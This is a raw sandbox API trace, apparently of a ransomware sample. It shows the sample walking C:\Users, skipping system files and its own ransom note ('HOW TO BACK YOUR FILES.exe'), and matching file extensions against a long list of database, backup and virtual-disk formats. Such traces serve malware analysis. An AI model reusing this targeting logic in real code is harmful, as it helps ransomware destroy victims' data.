	[0035.615] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0035.615] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="Apollon865.txt.exe") returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2=".") returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="..") returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="windows") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="bootmgr") returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="temp") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="pagefile.sys") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="boot") returned 1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="ids.txt") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="ntuser.dat") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="perflogs") returned -1
	[0035.615] lstrcmpiW (lpString1="Default", lpString2="MSBuild") returned -1
	[0035.615] lstrlenW (lpString="Default") returned 7
	[0035.615] lstrlenW (lpString="C:\\Users\\All Users") returned 18
	[0035.615] lstrcpyW (in: lpString1=0x2d3e562, lpString2="Default" | out: lpString1="Default") returned="Default"
	[0035.615] SetFileAttributesW (lpFileName="C:\\Users\\Default", dwFileAttributes=0x12) returned 1
	[0035.635] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0035.635] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x22) returned 0x5bee08
	[0035.635] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0035.635] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="Apollon865.txt.exe") returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2=".") returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="..") returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="windows") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="bootmgr") returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="temp") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="pagefile.sys") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="boot") returned 1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="ids.txt") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="ntuser.dat") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="perflogs") returned -1
	[0035.635] lstrcmpiW (lpString1="Default User", lpString2="MSBuild") returned -1
	[0035.635] lstrlenW (lpString="Default User") returned 12
	[0035.635] lstrlenW (lpString="C:\\Users\\Default") returned 16
	[0035.636] lstrcpyW (in: lpString1=0x2d3e562, lpString2="Default User" | out: lpString1="Default User") returned="Default User"
	[0035.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0035.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7e60
	[0035.636] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0035.636] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.636] lstrlenW (lpString="desktop.ini") returned 11
	[0035.636] lstrlenW (lpString="C:\\Users\\Default User") returned 21
	[0035.636] lstrcpyW (in: lpString1=0x2d3e562, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.636] lstrlenW (lpString="desktop.ini") returned 11
	[0035.636] lstrlenW (lpString="Apollon865") returned 10
	[0035.636] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.636] lstrlenW (lpString=".dll") returned 4
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.636] lstrlenW (lpString=".lnk") returned 4
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.636] lstrlenW (lpString=".ini") returned 4
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.636] lstrlenW (lpString=".sys") returned 4
	[0035.636] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.636] lstrlenW (lpString="desktop.ini") returned 11
	[0035.636] lstrlenW (lpString="bak") returned 3
	[0035.636] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.636] lstrlenW (lpString="ba_") returned 3
	[0035.636] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.636] lstrlenW (lpString="dbb") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.637] lstrlenW (lpString="vmdk") returned 4
	[0035.637] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.637] lstrlenW (lpString="rar") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.637] lstrlenW (lpString="zip") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.637] lstrlenW (lpString="tgz") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.637] lstrlenW (lpString="vbox") returned 4
	[0035.637] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.637] lstrlenW (lpString="vdi") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.637] lstrlenW (lpString="vhd") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.637] lstrlenW (lpString="vhdx") returned 4
	[0035.637] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.637] lstrlenW (lpString="avhd") returned 4
	[0035.637] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.637] lstrlenW (lpString="db") returned 2
	[0035.637] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.637] lstrlenW (lpString="db2") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.637] lstrlenW (lpString="db3") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.637] lstrlenW (lpString="dbf") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.637] lstrlenW (lpString="mdf") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.637] lstrlenW (lpString="mdb") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.637] lstrlenW (lpString="sql") returned 3
	[0035.637] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.637] lstrlenW (lpString="sqlite") returned 6
	[0035.637] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.637] lstrlenW (lpString="sqlite3") returned 7
	[0035.637] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.637] lstrlenW (lpString="sqlitedb") returned 8
	[0035.638] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.638] lstrlenW (lpString="xml") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.638] lstrlenW (lpString="$er") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.638] lstrlenW (lpString="4dd") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.638] lstrlenW (lpString="4dl") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.638] lstrlenW (lpString="^^^") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.638] lstrlenW (lpString="abs") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.638] lstrlenW (lpString="abx") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.638] lstrlenW (lpString="accdb") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.638] lstrlenW (lpString="accdc") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.638] lstrlenW (lpString="accde") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.638] lstrlenW (lpString="accdr") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.638] lstrlenW (lpString="accdt") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.638] lstrlenW (lpString="accdw") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.638] lstrlenW (lpString="accft") returned 5
	[0035.638] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.638] lstrlenW (lpString="adb") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.638] lstrlenW (lpString="adb") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.638] lstrlenW (lpString="ade") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.638] lstrlenW (lpString="adf") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.638] lstrlenW (lpString="adn") returned 3
	[0035.638] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.639] lstrlenW (lpString="adp") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.639] lstrlenW (lpString="alf") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.639] lstrlenW (lpString="ask") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.639] lstrlenW (lpString="btr") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.639] lstrlenW (lpString="cat") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.639] lstrlenW (lpString="cdb") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.639] lstrlenW (lpString="ckp") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.639] lstrlenW (lpString="cma") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.639] lstrlenW (lpString="cpd") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.639] lstrlenW (lpString="dacpac") returned 6
	[0035.639] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.639] lstrlenW (lpString="dad") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.639] lstrlenW (lpString="dadiagrams") returned 10
	[0035.639] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.639] lstrlenW (lpString="daschema") returned 8
	[0035.639] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.639] lstrlenW (lpString="db-journal") returned 10
	[0035.639] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.639] lstrlenW (lpString="db-shm") returned 6
	[0035.639] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.639] lstrlenW (lpString="db-wal") returned 6
	[0035.639] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.639] lstrlenW (lpString="dbc") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.639] lstrlenW (lpString="dbs") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.639] lstrlenW (lpString="dbt") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.639] lstrlenW (lpString="dbv") returned 3
	[0035.639] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.640] lstrlenW (lpString="dbx") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.640] lstrlenW (lpString="dcb") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.640] lstrlenW (lpString="dct") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.640] lstrlenW (lpString="dcx") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.640] lstrlenW (lpString="ddl") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.640] lstrlenW (lpString="dlis") returned 4
	[0035.640] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.640] lstrlenW (lpString="dp1") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.640] lstrlenW (lpString="dqy") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.640] lstrlenW (lpString="dsk") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.640] lstrlenW (lpString="dsn") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.640] lstrlenW (lpString="dtsx") returned 4
	[0035.640] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.640] lstrlenW (lpString="dxl") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.640] lstrlenW (lpString="eco") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.640] lstrlenW (lpString="ecx") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.640] lstrlenW (lpString="edb") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.640] lstrlenW (lpString="epim") returned 4
	[0035.640] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.640] lstrlenW (lpString="fcd") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.640] lstrlenW (lpString="fdb") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.640] lstrlenW (lpString="fic") returned 3
	[0035.640] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.640] lstrlenW (lpString="flexolibrary") returned 12
	[0035.640] lstrlenW (lpString="fm5") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.641] lstrlenW (lpString="fmp") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.641] lstrlenW (lpString="fmp12") returned 5
	[0035.641] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.641] lstrlenW (lpString="fmpsl") returned 5
	[0035.641] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.641] lstrlenW (lpString="fol") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.641] lstrlenW (lpString="fp3") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.641] lstrlenW (lpString="fp4") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.641] lstrlenW (lpString="fp5") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.641] lstrlenW (lpString="fp7") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.641] lstrlenW (lpString="fpt") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.641] lstrlenW (lpString="frm") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.641] lstrlenW (lpString="gdb") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.641] lstrlenW (lpString="gdb") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.641] lstrlenW (lpString="grdb") returned 4
	[0035.641] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.641] lstrlenW (lpString="gwi") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.641] lstrlenW (lpString="hdb") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.641] lstrlenW (lpString="his") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.641] lstrlenW (lpString="ib") returned 2
	[0035.641] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.641] lstrlenW (lpString="idb") returned 3
	[0035.641] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.641] lstrlenW (lpString="ihx") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.642] lstrlenW (lpString="itdb") returned 4
	[0035.642] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.642] lstrlenW (lpString="itw") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.642] lstrlenW (lpString="jet") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.642] lstrlenW (lpString="jtx") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.642] lstrlenW (lpString="kdb") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.642] lstrlenW (lpString="kexi") returned 4
	[0035.642] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.642] lstrlenW (lpString="kexic") returned 5
	[0035.642] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.642] lstrlenW (lpString="kexis") returned 5
	[0035.642] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.642] lstrlenW (lpString="lgc") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.642] lstrlenW (lpString="lwx") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.642] lstrlenW (lpString="maf") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.642] lstrlenW (lpString="maq") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.642] lstrlenW (lpString="mar") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.642] lstrlenW (lpString="marshal") returned 7
	[0035.642] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.642] lstrlenW (lpString="mas") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.642] lstrlenW (lpString="mav") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.642] lstrlenW (lpString="maw") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.642] lstrlenW (lpString="mdbhtml") returned 7
	[0035.642] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.642] lstrlenW (lpString="mdn") returned 3
	[0035.642] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.643] lstrlenW (lpString="mdt") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.643] lstrlenW (lpString="mfd") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.643] lstrlenW (lpString="mpd") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.643] lstrlenW (lpString="mrg") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.643] lstrlenW (lpString="mud") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.643] lstrlenW (lpString="mwb") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.643] lstrlenW (lpString="myd") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.643] lstrlenW (lpString="ndf") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.643] lstrlenW (lpString="nnt") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.643] lstrlenW (lpString="nrmlib") returned 6
	[0035.643] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.643] lstrlenW (lpString="ns2") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.643] lstrlenW (lpString="ns3") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.643] lstrlenW (lpString="ns4") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.643] lstrlenW (lpString="nsf") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.643] lstrlenW (lpString="nv") returned 2
	[0035.643] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.643] lstrlenW (lpString="nv2") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.643] lstrlenW (lpString="nwdb") returned 4
	[0035.643] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.643] lstrlenW (lpString="nyf") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.643] lstrlenW (lpString="odb") returned 3
	[0035.643] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.643] lstrlenW (lpString="odb") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.644] lstrlenW (lpString="oqy") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.644] lstrlenW (lpString="ora") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.644] lstrlenW (lpString="orx") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.644] lstrlenW (lpString="owc") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.644] lstrlenW (lpString="p96") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.644] lstrlenW (lpString="p97") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.644] lstrlenW (lpString="pan") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.644] lstrlenW (lpString="pdb") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.644] lstrlenW (lpString="pdm") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.644] lstrlenW (lpString="pnz") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.644] lstrlenW (lpString="qry") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.644] lstrlenW (lpString="qvd") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.644] lstrlenW (lpString="rbf") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.644] lstrlenW (lpString="rctd") returned 4
	[0035.644] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.644] lstrlenW (lpString="rod") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.644] lstrlenW (lpString="rodx") returned 4
	[0035.644] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.644] lstrlenW (lpString="rpd") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.644] lstrlenW (lpString="rsd") returned 3
	[0035.644] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.644] lstrlenW (lpString="sas7bdat") returned 8
	[0035.644] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.645] lstrlenW (lpString="sbf") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.645] lstrlenW (lpString="scx") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.645] lstrlenW (lpString="sdb") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.645] lstrlenW (lpString="sdc") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.645] lstrlenW (lpString="sdf") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.645] lstrlenW (lpString="sis") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.645] lstrlenW (lpString="spq") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.645] lstrlenW (lpString="te") returned 2
	[0035.645] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.645] lstrlenW (lpString="teacher") returned 7
	[0035.645] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.645] lstrlenW (lpString="tmd") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.645] lstrlenW (lpString="tps") returned 3
	[0035.645] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.645] lstrlenW (lpString="trc") returned 3
